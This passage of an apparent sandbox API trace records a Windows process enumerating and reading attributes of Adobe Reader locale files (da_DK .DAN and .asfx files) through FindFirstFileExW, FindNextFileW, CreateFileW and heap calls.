ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search.DAN", cAlternateFileName="")) returned 1 [0081.721] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82cd4c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendMail.DAN", cAlternateFileName="")) returned 1 [0081.721] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f971c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fe3480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0081.721] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddfb360, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.DAN", cAlternateFileName="")) returned 1 [0081.721] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f4be5c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="updater.DAN", cAlternateFileName="")) returned 1 [0081.721] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82caeac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.DAN", cAlternateFileName="")) returned 1 [0081.721] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82caeac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.DAN", cAlternateFileName="")) returned 0 [0081.721] GetLastError () returned 0x12 [0081.721] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f80 [0081.722] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0081.722] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.722] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa600, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.DAN", cAlternateFileName="")) returned 1 [0081.722] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82caeac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x64600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acroform.DAN", cAlternateFileName="")) returned 1 [0081.722] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801fc020, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCollabSync.DAN", cAlternateFileName="")) returned 1 [0081.722] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82db9460, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x76400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Annots.DAN", cAlternateFileName="")) returned 1 [0081.722] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x820558a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3400, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRdlang32.DAN", cAlternateFileName="")) returned 1 [0081.722] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82cd4c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1de00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Checkers.DAN", cAlternateFileName="")) returned 1 [0081.722] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82caeac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="DigSig.DAN", cAlternateFileName="")) returned 1 [0081.722] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82cd4c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVA.DAN", cAlternateFileName="")) returned 1 [0081.722] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82e519e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="eBook.DAN", cAlternateFileName="")) returned 1 [0081.722] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82caeac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="EScript.DAN", cAlternateFileName="")) returned 1 [0081.722] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82cd4c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IA32.DAN", cAlternateFileName="")) returned 1 [0081.722] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da1cfa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0x0, dwReserved1=0x0, cFileName="makeaccessible.DAN", cAlternateFileName="")) returned 1 [0081.722] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d723420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Multimedia.DAN", cAlternateFileName="")) returned 1 [0081.722] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9f6e40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="pddom.DAN", cAlternateFileName="")) returned 1 [0081.722] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82cd4c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPKLITE.DAN", cAlternateFileName="")) returned 1 [0081.722] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f89c980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x144c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="RdLang32.DAN", cAlternateFileName="")) returned 1 [0081.722] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadOutLoud.DAN", cAlternateFileName="")) returned 1 [0081.722] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d984a20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="reflow.DAN", cAlternateFileName="")) returned 1 [0081.722] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da8f3c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaveAsRTF.DAN", cAlternateFileName="")) returned 1 [0081.722] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82cd4c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search.DAN", cAlternateFileName="")) returned 1 [0081.722] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82cd4c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendMail.DAN", cAlternateFileName="")) returned 1 [0081.722] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f971c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fe3480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0081.723] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\services"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f971c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fe3480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0081.723] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0081.723] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0081.723] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1281138, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x1281138, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0081.723] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1281138) returned 1 [0081.723] NtClose (Handle=0x16c) returned 0x0 [0081.723] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x126cf08) returned 1 [0081.724] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.724] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.724] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x126cf08 [0081.724] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.724] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x126d010 [0081.724] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9100 [0081.724] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f971c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fe3480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.725] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8ca7, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="")) returned 1 [0081.725] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.725] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.725] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.725] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.725] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.725] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x126d118 [0081.726] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.726] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12596a8 [0081.726] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x126d220 [0081.726] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.726] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="")) returned 1 [0081.726] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.727] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.727] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.727] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.727] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.727] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12596c8 [0081.727] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x126d328 [0081.728] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.728] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="")) returned 0 [0081.728] GetLastError () returned 0x12 [0081.728] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9040 [0081.728] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0081.728] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f971c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fe3480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.728] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8ca7, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="")) returned 1 [0081.728] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="")) returned 1 [0081.728] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="")) returned 0 [0081.728] GetLastError () returned 0x12 [0081.728] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x126d010) returned 1 [0081.728] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0081.728] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x126d118) returned 1 [0081.729] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, 